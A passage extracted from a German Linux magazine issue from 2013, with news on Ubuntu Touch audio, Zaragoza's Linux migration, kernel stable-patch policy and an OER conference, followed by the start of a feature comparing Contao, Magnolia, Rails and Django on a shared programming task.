eingestellten Ktoon-<br />
Projekts, basiert auf dem Qt-<br />
Toolkit, steht unter der GPLv3<br />
und will neben Anfängern<br />
auch professionelle Zeichner<br />
ansprechen. Installationsfertige<br />
Pakete gibt es derzeit nur<br />
für Ubuntu und OS X. Hat die<br />
Kickstarter-Kampagne Erfolg,<br />
wollen die Entwickler auch<br />
ein Installationspaket für<br />
Windows schnüren. n<br />
Ubuntu Touch 13.10 mit eigenem Audiostack<br />
Bisher nutzte Ubuntu Touch<br />
noch den Audio Flinger von<br />
Android <strong>fürs</strong> Abspielen und<br />
Aufnehmen von Sounds. Im<br />
aktuellen Image kümmern<br />
sich hingegen Pulseaudio und<br />
Alsa um den guten Ton. Der<br />
neue Audiostack für Ubuntu<br />
Touch sei noch in der Anfangsphase<br />
und laufe am besten<br />
auf dem Nexus 4, schreibt<br />
Ubuntu-Entwickler David<br />
Henningsson. Bis auf einen<br />
relevanten Bug sei die Arbeit<br />
für das Galaxy Nexus vorangeschritten,<br />
Nexus-7-Support<br />
soll folgen, für das Nexus 10<br />
suche er noch Tester.<br />
In dem neuen Modell redet<br />
Pulseaudio direkt mit Alsa<br />
und – wenn nötig – mit dem<br />
Audio Hardware Abstraction<br />
Layer (HAL) von Android.<br />
Letzteres gelte für das Starten<br />
und Beenden von Anrufen,<br />
weil Androids Audio-HAL zunächst<br />
mit dem Modem und<br />
weiteren Kernelkomponenten<br />
kommuniziere, um den Anruf<br />
vom Modem an die Soundkarte<br />
zu leiten.<br />
Beim gewöhnlichen Abspielen<br />
und Aufnehmen von Audio-<br />
Inhalten rede Pulseaudio hingegen<br />
mit der Alsa-Bibliothek.<br />
Über das Switch-Interface des<br />
Kernels bekomme Pulseaudio<br />
auch Wind davon, wenn der<br />
Anwender Kopfhörer oder<br />
Headsets in das Smartphone<br />
oder Tablet stöpselt. Für die<br />
Konfiguration von Mixern<br />
kämen hingegen die Mixerdateien<br />
von Alsa UCM zum<br />
Einsatz.<br />
In Henningssons Ankündigung<br />
finden auch Portierer<br />
erste Informationen. Der<br />
Prozess sei noch etwas umständlich,<br />
gibt der Entwickler<br />
zu, verweist aber auf ein paar<br />
Dateien mit Beispielcode zum<br />
Thema. Er habe bisher lediglich<br />
die von Ubuntu Touch offiziell<br />
unterstützten Zielplattformen<br />
getestet.<br />
n
Saragossa: Von Open Suse auf Ubuntu<br />
Nicht nur die Stadt München<br />
setzt in der Verwaltung <strong>Linux</strong><br />
ein, auch spanische Städte<br />
vertrauen seit ein paar Jahren<br />
dem freien Betriebssystem in<br />
der Verwaltung und im Bildungssektor.<br />
Wie Join-up unter<br />
[https://joinup.ec.europa.eu]<br />
berichtet, hat die nordspanische<br />
Stadt Saragossa nun im<br />
Laufe des Sommers im Stadtrat<br />
erste <strong>Linux</strong>-Rechner von<br />
AZ-<strong>Linux</strong> 2 auf AZ-<strong>Linux</strong> 12<br />
umgestellt.<br />
Was zunächst nach einem<br />
Versionswechsel klingt, ist zugleich<br />
ein Distributionswechsel:<br />
Während AZ-<strong>Linux</strong> 2 auf<br />
Open Suse 11.2 basiert, fußt<br />
AZ-<strong>Linux</strong> 12 auf Ubuntu 12.04<br />
LTS. Für Eduardo Romero,<br />
den IT-Spezialisten, der in Saragossa<br />
die Desktop-Migration<br />
betreut, war der Longterm-<br />
Support von Ubuntu der ausschlaggebende<br />
Grund für die<br />
Umstellung. Open Suse bietet<br />
zwar Evergreen-Versionen an,<br />
welche die Patch-Versorgung<br />
einiger Open-Suse-Versionen<br />
über die Laufzeit hinaus verlängern,<br />
diese erhalten aber<br />
keinen offiziellen Support von<br />
Suse.<br />
Zurzeit läuft ein Viertel der<br />
Rechner in Saragossas Stadtrat<br />
auf <strong>Linux</strong>, insgesamt 800<br />
von 3200 Computern. Eine<br />
Testgruppe von 80 Rechnern<br />
hat die Romero-Truppe nun<br />
auf AZ-<strong>Linux</strong> 12 umgestellt,<br />
die restlichen 720 sollen in<br />
den nächsten Monaten folgen.<br />
Bald wollen sie jene PCs umstellen,<br />
auf denen „noch das<br />
ein Jahrzehnt alte proprietäre<br />
Betriebssystem“ laufe.<br />
Saragossa setze seit 2005<br />
zunehmend freie Software<br />
ein, berichtet Romero. Zunächst<br />
wurden der Browser<br />
Firefox und der Mailclient<br />
Thunderbird sowie der Multimedia-Player<br />
VLC auf sämtlichen<br />
3200 PCs installiert. 2007<br />
kam dann Open Office hinzu,<br />
das kürzlich durch Libre Office<br />
ersetzt wurde, das auf<br />
allen PCs der Stadt läuft. Daneben<br />
nutzt Saragossa auch<br />
Gimp (Grafikbearbeitung),<br />
Inkscape (Grafikerzeugung),<br />
Pdfsam (PDF-Editor), Brasero<br />
(zum Brennen von CDs),<br />
Kdenlive (Videoschnitt) sowie<br />
Evince zum Anzeigen von<br />
PDFs. (jk/kki/mfe/mhu/Tim<br />
Schürmann) n<br />
Das offizielle Wappen der spanischen<br />
680 000-Einwohner-Stadt Saragossa.<br />
heralder, CC-BY-SA 3.0<br />
Zahlen & Trends 11/2013<br />
Aktuell<br />
www.linux-magazin.de<br />
17<br />
Anzeige
Aktuell<br />
www.linux-magazin.de Kernel-News 11/2013<br />
18<br />
Zacks Kernel-News<br />
Wann ist ein Patch reif für den stabilen Kernel?<br />
Kaum hatte Greg Kroah-Hartman den stabilen Kernel 3.0.92 veröffentlicht,<br />
schon fand sich darin ein Bug. Eine Wartefrist soll das künftig verhindern.<br />
Der Amerikaner Greg Kroah-<br />
Hartman, Maintainer der stabilen<br />
<strong>Linux</strong>-Kernel, möchte<br />
künftig länger warten, bevor<br />
er ein Patch annimmt. Schon<br />
bisher musste eine Änderung<br />
für den Stable-Zweig zuerst in<br />
den Kernel von Linus Torvalds<br />
wandern, damit sich die beiden<br />
nicht zu weit von einander<br />
entfernen. An diesem<br />
Vorgehen gab es in letzter Zeit<br />
Kritik, weil es die Aufnahme<br />
selbst einfacher Bugfixes in<br />
den stabilen <strong>Linux</strong>-Kern verzögerte.<br />
Dennoch ist Greg kürzlich<br />
ein fehlerhaftes Stück Code<br />
in den Kernel gerutscht: Das<br />
Patch sollte eine Race Condition<br />
in Netlink-Code beheben.<br />
Es war zuvor ordnungsgemäß<br />
im Torvaldsschen Zweig gelandet.<br />
Offensichtlich hatte<br />
es aber nicht genug Tests<br />
durchgemacht und enthielt<br />
einen handfesten Bug. Greg<br />
bemerkte das erst, nachdem<br />
er die stabile Version 3.0.92<br />
veröffentlicht hatte.<br />
Aus diesem Anlass schlägt<br />
Linus vor, Änderungen an<br />
Mainline sollten nicht sofort<br />
in Stable eingehen, sondern<br />
nach einer kleinen Wartezeit –<br />
„nach einer Woche oder so“,<br />
meint der Kernel-Chef. Greg<br />
beschloss also, auf den jeweils<br />
nächsten Release Candidate<br />
des Mainline-Kernels zu<br />
warten, bevor er die Patches<br />
übernimmt.<br />
Unter bestimmten Voraussetzungen<br />
will er sich aber nicht<br />
so viel Zeit lassen, beispielsweise<br />
wenn der Subsystem-<br />
Maintainer zustimmt oder es<br />
persönlich einschickt. Auch<br />
ausführliche Diskussionen auf<br />
der Mailingliste oder ausgiebige<br />
Tests eines Patches sollen<br />
es für Stable qualifizieren. Mit<br />
trivialen Änderungen möchte<br />
Greg auch nicht warten.<br />
Willy Tarreau, der selbst Erfahrung<br />
mit der Betreuung<br />
stabiler Kernel hat, würde<br />
gerne noch weiter gehen. Er<br />
rät, nicht nur auf den nächsten<br />
Release Candidate zu warten,<br />
sondern auf den nächsten<br />
»‐rc1«, den Linus erst nach<br />
einem kompletten Entwicklungszyklus<br />
veröffentlicht.<br />
Greg widerspricht: „Drei Monate<br />
warten ist meiner Meinung<br />
noch zu lange, tut mir<br />
Leid.“<br />
Josh Boyer vom Fedora-Projekt<br />
möchte dagegen sogar auf<br />
»‐rc2« warten. Kroah-Hartman<br />
darauf: „Ein Maintainer kann<br />
seine Patches einfach so taggen,<br />
dass ich bis »‐rc2« warte.<br />
Es kommt aber ohnehin mit<br />
»‐rc1« ein so riesige Menge an<br />
Patches auf mich zu, dass ich<br />
sie vor »‐rc2« gar nicht abarbeiten<br />
kann.“<br />
Josh bietet an, Fehler, die ihm<br />
bei seiner Arbeit mit Fedoras<br />
Entwicklerversion Rawhide<br />
begegnen, rasch an Greg zu<br />
melden. Daneben will er eine<br />
Liste von Patches anlegen, die<br />
zwar seine Distribution enthält,<br />
Stable aber nicht. Das<br />
trifft auf Gregs Wohlwollen,<br />
„Ich bitte schon lange die Distributionen<br />
um ihre Patches,<br />
denn die gibt es bestimmt aus<br />
guten Gründen.“<br />
Daneben diskutierte die Liste<br />
die geeignete Wartefrist für<br />
die Aufnahme in den stabilen<br />
Kernel. Steven Rostedt rät<br />
dazu, Statistiken aufzustellen,<br />
wie lange es dauert, bis ein<br />
Defekt in einem Patch für Stable<br />
entdeckt wird. „Wir sollten<br />
die Daten der Vergangenheit<br />
nutzen, um eine geeignete<br />
Heuristik aufzustellen.“<br />
Zudem empfiehlt er, ein Patch<br />
solle erst eine Weile im Zweig<br />
»linux‐next« heranreifen, dann<br />
in Mainline kommen, dort<br />
weiter reifen und erst dann in<br />
Stable gelangen.<br />
Als ein weiteres Mal »‐rc2« auf<br />
den Tisch kam, schaltete sich<br />
Linus Torvalds ein: „Ich glaube,<br />
die »‐rc«-Versionen sind<br />
gar nicht so wichtig. Entscheidend<br />
ist es, überhaupt zu warten,<br />
und nicht unbedingt auf<br />
einen Release Candidate.“ Es<br />
kommt ihm darauf an, dass<br />
ein Patch mindestens eine<br />
Woche lang im Git-Repository<br />
bleibt, damit Entwickler und<br />
interessierte Anwender es testen<br />
können.<br />
Mit dieser Maßgabe ließen<br />
sich zwar nicht alle Bugs<br />
finden, aber die meisten, beschließt<br />
Torvalds seinen Beitrag.<br />
Dem folgte eine Diskussion<br />
unter den Entwicklern,<br />
wie oft man einen Snapshot<br />
aus dem Mainline-Repository<br />
holen und testen sollte. Borislav<br />
Petkov beispielsweise holt<br />
sich wöchentlich den Code ab<br />
und lässt ihn bis zum nächsten<br />
Snapshot laufen. Tony<br />
Luck macht sich dafür stark,<br />
gelegentlich Momentaufnahmen<br />
eines Tages zu benutzen,<br />
ansonsten würden die Patches<br />
eine ganze Woche lang ungeprüft<br />
herumliegen. Insgesamt<br />
sieht es so aus, als würde<br />
Greg seinen ursprünglichen<br />
Plan umsetzen – beziehungsweise<br />
den von Linus. n
Mehr Ordnung für den Device Tree<br />
Der Embedded-Entwickler<br />
Grant Likely fordert mehr<br />
Maintainer für die Bindings<br />
des Device Tree. Der Device<br />
Tree ist eine Datenstruktur,<br />
die Hardware-Details eines<br />
Computers beschreibt und die<br />
der <strong>Linux</strong>-Kernel mittels der<br />
Bindings lesen kann.<br />
Grant, derzeit Maintainer der<br />
Datenstruktur, schreibt: „Weder<br />
Rob [Herring, Co-Maintainer]<br />
noch ich bewältigen<br />
die Arbeitslast, zudem gibt es<br />
viele schlecht gemachte Bindings.“<br />
Er hat bereits ein Patch<br />
geschickt, das mehr Entwickler<br />
als Co-Maintainer auflistet.<br />
Daneben bittet er alle Interessierten<br />
um Mithilfe.<br />
Außerdem bringt er das Thema<br />
der Schema-Validierung<br />
zur Sprache. Jedes Binding<br />
folgt einem Standardformat –<br />
oder sollte ihm folgen –, doch<br />
derzeit wird das nirgends geprüft.<br />
Laut Grant wird sich<br />
künftig aber der Samsung-<br />
Mitarbeiter Tomasz Figa darum<br />
kümmern. Ungültige<br />
Schemata soll der Compile-<br />
Vorgang bemängeln.<br />
Grant beklagt, dass es derzeit<br />
keinen geregelten Entwicklungsprozess<br />
gibt, sondern<br />
nur hektische Betriebsamkeit.<br />
Es gäbe einige ungelöste<br />
Fragen: Soll der Device Tree<br />
einen Unterschied zwischen<br />
stabilen Bindings und solchen<br />
im Staging-Zweig machen?<br />
Wie kommen neue Bindings<br />
in den Kernel – über einzelne<br />
Subsysteme oder nur zentralisiert<br />
über den Device Tree?<br />
Tomasz argumentiert, sobald<br />
Bindings als stabil gelten, sollte<br />
man sie als Teil des Kernel-<br />
ABI ansehen. Damit dürften<br />
weitere Änderungen niemals<br />
die Rückwärtskompatibilität<br />
brechen.<br />
Alison Chaiken von Mentor<br />
Graphics macht sich Gedanken<br />
über die Art der Validierung.<br />
Sie fragt: „Da Device-<br />
Tree-Quelltext ein wenig wie<br />
XML (oder vielleicht eher<br />
Json) aussieht, werden die<br />
Schemata so ähnlich funktionieren<br />
wie DTDs, gegen die<br />
man validieren kann? Oder<br />
muss ich mir das eher wie einen<br />
Compiler, etwa GCC, vorstellen?“<br />
Tomasz setzt auf die<br />
zweite Alternative und möchte<br />
die Prüfung im Device-Tree-<br />
Compiler »dtc« umsetzen,<br />
XML halten die Entwickler für<br />
überflüssig.<br />
Grant beschreibt detailliert,<br />
wie er sich das Schema für<br />
Device-Tree-Bindings vorstellt.<br />
Ihm geht es nicht nur um die<br />
Validierung, sondern auch um<br />
eine neue Art, die Bindings<br />
zu notieren. Sein Vorschlag ist<br />
unter [https://lkml.org/lkml/2013/<br />
7/25/8] nachzulesen. (Zack<br />
Brown/mhu)<br />
n<br />
Kernel-News 11/2013<br />
Aktuell<br />
www.linux-magazin.de<br />
19
Aktuell<br />
www.linux-magazin.de OER-Konferenz 2013 11/2013<br />
20<br />
Konferenz um freies Wissen<br />
Wissen teilen<br />
Seit 2002 gibt es den von der Unesco geprägten Begriff Open Educational Resources (OER). In Deutschland<br />
tauschten sich verschiedene OER-Akteure nun erstmals auf einer großen Konferenz aus. Kristian Kißling<br />
In Berlin trafen sich verschiedene OER-Akteure im Rahmen einer Konferenz.<br />
Zu den Open Educational<br />
Resources zählen nicht nur<br />
freie Bildungsmaterialien unter<br />
offenen Lizenzen, etwa Arbeitsblätter<br />
oder Lehrbücher,<br />
die an Schulen und Universitäten<br />
zum Einsatz kommen.<br />
Auch zeitgenössische Lernkonzepte,<br />
die das <strong>Web</strong> und<br />
die neue Form von Wissensgesellschaft<br />
mitdenken, etwa<br />
Onlineseminare und Lernplattformen,<br />
gehören dazu.<br />
Die erste große OER-Konferenz<br />
[1] in Deutschland, die<br />
am 14. und 15. September<br />
2013 in Berlin stattfand, vernetzte<br />
nun jene Akteure, die<br />
sich mit freien Inhalten beschäftigen:<br />
politische Akteure,<br />
Lernforscher, Lehrer, aber<br />
auch Schulbuchverleger und<br />
Softwareentwickler.<br />
Das Interesse war groß: Über<br />
300 Teilnehmer diskutierten<br />
in Workshops und selbst organisierten<br />
Barcamps das<br />
Thema OER. Oft arbeiten sie,<br />
das kristallisierte sich schnell<br />
heraus, eher neben- als miteinander.<br />
Die Resonanz sei „umwerfend“,<br />
schwärmt Catrin<br />
Schoneville, Pressesprecherin<br />
bei Wikimedia Deutschland.<br />
Die Organisation hat die Veranstaltung,<br />
die unter Schirmherrschaft<br />
der Unesco steht,<br />
finanziert und wurde von einigen<br />
Partnern unterstützt.<br />
Erste OERientierung<br />
Während das Thema OER in<br />
Deutschland noch in den Kinderschuhen<br />
steckt, schießen<br />
in den USA die MOOCs (Massive<br />
Open Online Course)<br />
wie Pilze aus dem Boden:<br />
Class2Go, Coursera, Ed X und<br />
einige mehr bieten kostenlose<br />
Onlinekurse zu diversen Themen<br />
an. Die dortige Open<br />
Education Conference geht<br />
zudem in die zehnte Runde.<br />
In Deutschland gibt es erst<br />
seit 2013 eine nennenswerte<br />
Anzahl von MOOCs. Einer<br />
davon war das COER 13, die<br />
Erfahrungen mit dem MOOC<br />
stellte der Tübinger Wissenschaftler<br />
Markus Schmidt vor.<br />
Er zeigte ganz praktisch, wie<br />
sich solche Onlinekurse umsetzen<br />
lassen, wo es Material<br />
gibt, wie kommuniziert wird,<br />
was gut funktioniert und wo<br />
es noch Defizite gibt.<br />
Etwas theoretischer wurde es<br />
bei den Forscherinnen Kerstin<br />
Mayrberger und Sandra Hofhues.<br />
Sie stellten Thesen zu<br />
OER in den Raum. Eine davon<br />
lautete etwa, die Lehrenden<br />
und Lernenden möchten offen<br />
sein, können aber nicht<br />
mit der Offenheit umgehen.<br />
Anwesende Lehrer sahen<br />
die Probleme eher bei der<br />
schlechten Ausstattung mit<br />
Hardware, fehlenden didaktischen<br />
Konzepten und einem<br />
generellen Defizit im Umgang<br />
mit Technik an den Schulen.<br />
Unter einem Dach<br />
Es war eines der Verdienste<br />
der Konferenz, Menschen mit<br />
unterschiedlichen Perspektiven<br />
auf OER an einem Ort zu<br />
versammeln. Bislang verfolgen<br />
die <strong>Web</strong>seiten, Projekte<br />
und Organisationen verschiedene<br />
Strategien und Ansätze,<br />
klaffen Ideal und Praxis häufig<br />
weit auseinander.<br />
Es sei eine typische Graswurzelbewegung,<br />
sagt Elly<br />
Köpf, Projektmanagerin bei<br />
Wikimedia. Sie hat die Veranstaltung<br />
zusammen mit einem<br />
Kollegen initiiert. Auch<br />
Catrin Schoneville erwartete<br />
noch keine konkreten Ergebnisse<br />
von der Konferenz. Es<br />
wäre ein Erfolg, wenn die so<br />
Vernetzten weiterhin zusammenarbeiten<br />
würden.<br />
Lösungsorientiert<br />
Trotz der offenen Probleme<br />
gab es auch Lichtblicke. Zu<br />
diesen gehörte beispielsweise<br />
ein recht junges Team aus<br />
München, das die <strong>Web</strong>seite<br />
Serlo.org [2] betreibt. Es entwickelt<br />
seine Wikipedia-artige<br />
Matheplattform, die bisher vor<br />
allem Schüler nutzen, in der<br />
Freizeit. Die Site lässt ahnen,<br />
wie die Zukunft von OER aussehen<br />
könnte: Die Inhalte sind<br />
übersichtlich aufbereitet, das<br />
Projekt lässt der Community<br />
freie Hand, einzelne Module<br />
finanziert man mitunter auch<br />
über Crowdfunding [3]. n<br />
Infos<br />
[1] Konferenzwebseite:<br />
[http:// www. wikimedia. de/<br />
wiki/ OERde13]<br />
[2] OER-Seite Serlo.org: [http://<br />
www. serlo. org]<br />
[3] Crowdfunding für Serlo.org:<br />
[http:// www. betterplace. org/<br />
en/ projects/ 4011‐finally‐under<br />
stand‐math‐with‐serlo‐org]
Vier Frameworks und CMS erhalten die gleiche Programmieraufgabe gestellt<br />
<strong>Reifeprüfung</strong> <strong>fürs</strong> <strong>Web</strong><br />
Einführung 11/2013<br />
Titelthema<br />
Das <strong>Linux</strong>-<strong>Magazin</strong> lässt vier freie Content Management Systeme und <strong>Web</strong>frameworks antreten. Sie sollen zeigen,<br />
wie sie einen Veranstaltungskalender auf Grundlage externer Daten umsetzen. Mathias Huber<br />
Inhalt<br />
22 Contao<br />
Das PHP-System Contao packt die Erweiterung<br />
in ein eigenes Modul.<br />
28 Magnolia<br />
CMS Standardkomponenten aus der<br />
Java-Welt und Templates sorgen für<br />
Ordnung.<br />
34 Ruby on Rails<br />
Mit wenigen Zeilen entsteht die Serverseite,<br />
auf dem Client arbeitet das<br />
Framework Angular.js.<br />
39 Django<br />
Das Python-<strong>Web</strong>framework wiederholt<br />
sich nicht gerne und führt in wenigen<br />
Schritten zum Ziel.<br />
46 Bewertung<br />
Die Redaktion sichtet die Stärken<br />
und Schwächen der angetretenen<br />
Systeme.<br />
48 Sicherheit<br />
Interview über die Security von Open-<br />
Source-CMS.<br />
Wer heute eine <strong>Web</strong>site aufsetzt, fängt<br />
nicht mehr bei Null an. Für einen soliden<br />
Unterbau sorgen Content Management<br />
Systeme oder <strong>Web</strong>frameworks, die gerade<br />
die Open-Source-Welt in großer Auswahl<br />
bietet. Damit sind Navigation sowie Übersichts-<br />
und Detailseiten rasch in einem<br />
einheitlichen Layout umgesetzt. Schon<br />
fast zum Standard gehören daneben Formularauswertung,<br />
Bilderverwaltung und<br />
eine automatisch erzeugte Sitemap.<br />
Die Spreu vom Weizen dagegen trennt<br />
sich, wenn der <strong>Web</strong> entwickler Anforderungen<br />
umsetzen möchte, für die das System<br />
keine fertige Lösung anbietet. Daher<br />
hat die Redaktion den Herstellern und<br />
Communities hinter der Software eine<br />
überschaubare Programmieraufgabe gestellt.<br />
Wer, wenn nicht die Macher, sollte<br />
die Stärken der Technologien zeigen?<br />
Die Prüflinge sollten eine Liste von regionalen<br />
Volks- und Straßenfesten auf<br />
einer <strong>Web</strong>site anzeigen. Die Daten dazu<br />
finden sich auf der Open-Data-Plattform<br />
des Landes Berlin [1]. Sie sind über ein<br />
REST-API in den Formaten XML oder<br />
Json abzurufen. Die Aufgabe für den Anwendungsentwickler<br />
besteht darin, eine<br />
Übersichtsseite für den aktuellen Monat<br />
sowie eine Detailseite für jeden Eintrag<br />
umzusetzen. In der Übersicht kann der<br />
Besucher zudem nach Festen suchen,<br />
indem er mit einem Kalender-Widget einen<br />
Von-Bis-Zeitraum einstellt. Die Daten<br />
kann der Programmierer zwischenspeichern<br />
oder immer wieder neu abrufen.<br />
Im Testfeld treten an: Die Content-Management-Systeme<br />
Contao (vormals Typolight)<br />
und Magnolia CMS sowie die<br />
Frameworks Django und Ruby on Rails.<br />
Damit sind die Programmiersprachen<br />
PHP, Java, Python und Ruby vertreten.<br />
Die vorgestellten Lösungen zeigen die<br />
Vielfalt der Tools, Bibliotheken, Ansätze<br />
und Arbeitsstile.<br />
Programmiert und<br />
kommentiert<br />
Die Artikel dieses Themenschwerpunkts<br />
haben in der Regel zwei Urheber: den<br />
Programmierer, der den Code der Beispielanwendung<br />
geschrieben hat und den<br />
Autor des Artikels, der den Code im Text<br />
kommentiert und bewertet. Lediglich bei<br />
Django stammen Programm und Artikel<br />
aus der selben Feder. Sven Schannak griff<br />
zunächst selbst zum Code-Editor, erhielt<br />
aber buchstäblich in letzter Minute noch<br />
Unterstützung aus der Community.<br />
Die Auswertung der eingereichten Lösungen<br />
versucht, neben der Platzierung vor<br />
allem die Stärken und Schwächen der<br />
einzelnen Technologien hervorzuheben.<br />
Es wäre schön, wenn sie den Projekten<br />
hinter den Systemen und Frameworks als<br />
Anregungen für die künftige Weiterentwicklung<br />
dienten.<br />
Nach dem Programmierwettstreit, in dem<br />
Systeme und Entwickler zeigen, wie anpassbar<br />
und produktiv sie sind, wendet<br />
sich dieser Schwerpunkt noch einem<br />
anderen Aspekt zu: CMS und Frameworks<br />
<strong>fürs</strong> <strong>Web</strong> tauchen regelmäßig in<br />
den Security-Advisories der <strong>Linux</strong>-Distributionen<br />
und Sicherheitsdienstleister<br />
auf. Kein Wunder, im Internet sind sie<br />
potenziell zahllosen Arten von Angriffen<br />
ausgesetzt. Eine Studie im Auftrag des<br />
Bundesamts für Sicherheit in der Informationstechnik<br />
(BSI) hat nun einige Vertreter<br />
dieser Softwaregattung untersucht,<br />
um unter anderem festzustellen, wie gut<br />
sie den Attacken standhalten. n<br />
Infos<br />
[1] Berliner und Brandenburger Volks- und<br />
Straßenfeste 2013: [http://daten.berlin.de/<br />
datensaetze/berliner‐und‐brandenburger‐<br />
volks‐und‐stra%C3%9Fenfeste‐2013]<br />
www.linux-magazin.de<br />
21
Titelthema<br />
www.linux-magazin.de Contao 11/2013<br />
22<br />
Erweiterungen im PHP-CMS Contao<br />
Schneller war keiner<br />
Binnen eines Tages konnte der beauftragte Contao-Experte Code vorlegen, der die Programmieraufgabe löst.<br />
Mängel bei der verfügbaren Dokumentation nehmen jedoch Außenstehenden die Chance, Erweiterungen in<br />
vergleichbarer Zeit auf die Beine zu stellen. Tim Schürmann<br />
gibt lediglich seinem Modul einen neuen<br />
Namen, hakt ab, ob es sich um ein Modul<br />
für das Front- oder Backend handelt, und<br />
legt fest, welche Sprachen das Modul später<br />
sprechen soll. Anschließend muss er<br />
bloß noch die erzeugten Klassen-Skelette<br />
und Konfigurationsdateien ausfüllen. Der<br />
beauftragte Contao-Experte (siehe Kasten<br />
„Der Programmierer“) ist diesen<br />
Weg aber nicht gegangen.<br />
Der Anlasser<br />
© Frank Peters, 123RF.com<br />
Contao [1] ist ein freies Content-Management-System,<br />
das im Gegensatz zu vielen<br />
seiner Kollegen seitenorientiert arbeitet.<br />
Dabei legt der Administrator zunächst die<br />
Seitenstruktur des Internetauftritts fest<br />
und füllt dann die Seiten nach und nach<br />
mit Inhalten. Contao erschien 2004 unter<br />
dem Namen Typolight. Nutzer verwechselten<br />
es jedoch häufig mit Typo3, zudem<br />
deutete „light“ auf ein funktionsarmes<br />
System hin – fälschlich.<br />
Typolight-Erfinder und ‐Hauptentwickler<br />
Leo Feyer wechselte deshalb mit der Version<br />
2.6 zum weniger missverständlichen<br />
Namen Contao. Seit 2012 betreut die Weiterentwicklung<br />
die dafür in der Schweiz<br />
gegründete Contao Association [2]. Obwohl<br />
sich das leicht erweiterbare und<br />
flott agierende CMS steigender Beliebtheit<br />
erfreut, erreicht es bei Weitem nicht<br />
den Verbreitungsgrad seiner direkten Konkurrenten<br />
Joomla oder Drupal.<br />
Contao steht unter der GNU LGPL, für<br />
500 Euro lässt sich aber auch eine kommerzielle<br />
Lizenz erwerben, aus der Lizenznehmer<br />
sämtliche Hinweise auf Contao<br />
und Leo Feyer entfernen dürfen. Die<br />
Implementierung der Beispielaufgabe lief<br />
unter der bei Redaktionsschluss aktuellen<br />
Versionsnummer 3.1.2, als Testsystem<br />
diente Ubuntu 13.04.<br />
Modul unter Modulen<br />
Die Inhalte einer <strong>Web</strong>seite erzeugen in<br />
Contao so genannte Module. Sie zapfen<br />
die Datenbank an, gießen dann die fertigen<br />
Daten und Texte in einen kleinen<br />
Schnipsel HTML-Code und übergeben<br />
diesen dem Content-Management-System.<br />
Contao setzt dann aus den angelieferten<br />
HTML-Stücken nach einem<br />
Bauplan die komplette Seite zusammen.<br />
Auch die kleine Beispielaufgabe löst folglich<br />
ein Modul. Es fragt die anstehenden<br />
Feste beim Dienst ab, bereitet sie auf und<br />
gibt sie in einer schicken Tabelle aus.<br />
Contao selbst enthält einen Extension-<br />
Creator, der das Code-Skelett eines neuen<br />
Moduls ausspuckt. Der Programmierer<br />
Den Kern eines Moduls bildet ein PHP-<br />
Skript. In ihm leitet der Programmierer<br />
von der Klasse »Modul« eine eigene ab<br />
und überschreibt die Methoden »generate()«<br />
und »compile()«. Den Contao-<br />
Konventionen zufolge muss die abgeleitete<br />
Klasse den gleichen Namen wie<br />
das Modul mit einem vorangestellten<br />
»Module« tragen. Wie in Listing 1 zu<br />
besichtigen ist, hat der Programmierer<br />
das Modul »<strong>Linux</strong><strong>Magazin</strong>« getauft, seine<br />
eigene Klasse heißt folglich »Module<strong>Linux</strong><strong>Magazin</strong>«.<br />
Der Name dieser Klasse<br />
stiftet übrigens zudem den Dateinamen<br />
des PHP-Skripts.<br />
Wenn das Modul seine Ausgaben zusammenstellen<br />
und ausspucken soll, ruft Con-<br />
Der Programmierer<br />
Der Code für die Lösung der Aufgabe in diesem<br />
Artikel stammt von Andreas Schempp,<br />
Hauptentwickler des Contao-Shopsystems<br />
Isotope E-Commerce, Leiter der Contao Arbeitsgruppe<br />
Core-Entwicklung und im Vorstand<br />
der Contao Association [2].<br />
Beruflich arbeitet er als Mitinhaber bei der<br />
Terminal42 GmbH, welche kleine und mittlere<br />
Agenturen bei deren Contao-Projekten<br />
in den Bereichen Entwicklung und Layout-<br />
Umsetzung unterstützt.
Abbildung 1: Die Ausgaben des Moduls im Frontend. Die kleinen Kalendersymbole stammen von Contaos<br />
Javascript-Framework Mootools.<br />
tao seine öffentliche Methode »generate()«<br />
auf. Diese prüft in Listing 1 zunächst, ob<br />
sie das Backend aufgerufen hat:<br />
if (TL_MODE == 'BE') { ... }<br />
Wenn dies der Fall ist, übergibt »generate()«<br />
lediglich ein paar Informationen<br />
an Contao, den Namen des Moduls beispielsweise,<br />
die dann wiederum das Backend<br />
anzeigt. Andernfalls soll das Modul<br />
seine Informationen im Frontend und<br />
somit den Besuchern präsentieren. Als<br />
Vorbereitung darauf lädt »generate()« ab<br />
Zeile 21 erst einmal mehrere Stylesheets<br />
aus dem Unterverzeichnis »assets«, welche<br />
später die Informationen des Moduls<br />
etwas aufhübschen.<br />
Als Nächstes bindet »generate()« etwas<br />
Javascript-Code ein. Dieser stammt nicht<br />
vom Programmierer des Moduls, sondern<br />
aus dem in Contao bereits enthaltenen<br />
Javascript-Framework Mootools [3]. Der<br />
hinzugeholte Javascript-Code erzeugt<br />
die kleinen Kalendersymbole, über die<br />
Besucher später bequemer ein Datum<br />
auswählen können (in Abbildung 1 die<br />
kleinen grünen Symbole).<br />
Zum Schluss ruft »generate()« noch<br />
ihre Kollegin in der Oberklasse auf. Die<br />
wiederum aktiviert die private Methode<br />
»compile()«, welche die eigentlichen Daten<br />
zusammenstellt und ausgibt. In der<br />
Implementierung aus Listing 1 holt sie<br />
zunächst die Daten im Json-Format von<br />
»berlin.de« ab und presst sie in Zeile 41<br />
in ein handlicheres Array. Anschließend<br />
prüft die Methode, ob die ganzen Informationen<br />
auf eine Seite passen oder ob<br />
das Modul sie besser auf mehrere Seiten<br />
verteilen sollte.<br />
Die Vorlage<br />
Die nun vorliegenden Termindaten könnte<br />
das Modul einfach so unformatiert ausgeben.<br />
Besser ist es jedoch, sie in eine<br />
HTML-Tabelle zu verpacken. Den dazu<br />
notwendigen PHP-Code lagert Contao in<br />
eine eigene Datei aus, das so genannte<br />
Template. Dies bietet den Vorteil, dass die<br />
Darstellung der Ausgaben von der eigentlichen<br />
(Modul-)Logik getrennt ist.<br />
Wie die Datei mit dem Template heißt,<br />
teilt das Modul über das Attribut<br />
»$strTemplate« mit (Zeile 3 in Listing 1).<br />
Die Klasse »Module<strong>Linux</strong><strong>Magazin</strong>« kann<br />
dann über das Objekt »$this‐>Template«<br />
die Termine der Straßenfeste in das Template<br />
schieben, was in Listing 1 ab Zeile<br />
58 geschieht. Die erste Zeile macht das<br />
Array »$arrData« unter dem Namen »results«<br />
im Template verfügbar. Nach dem<br />
gleichen Prinzip injizieren auch die nach-<br />
Joomla<br />
Die Redaktion wollte ursprünglich Joomla als<br />
Vertreter für ein per PHP zu erweiterndes<br />
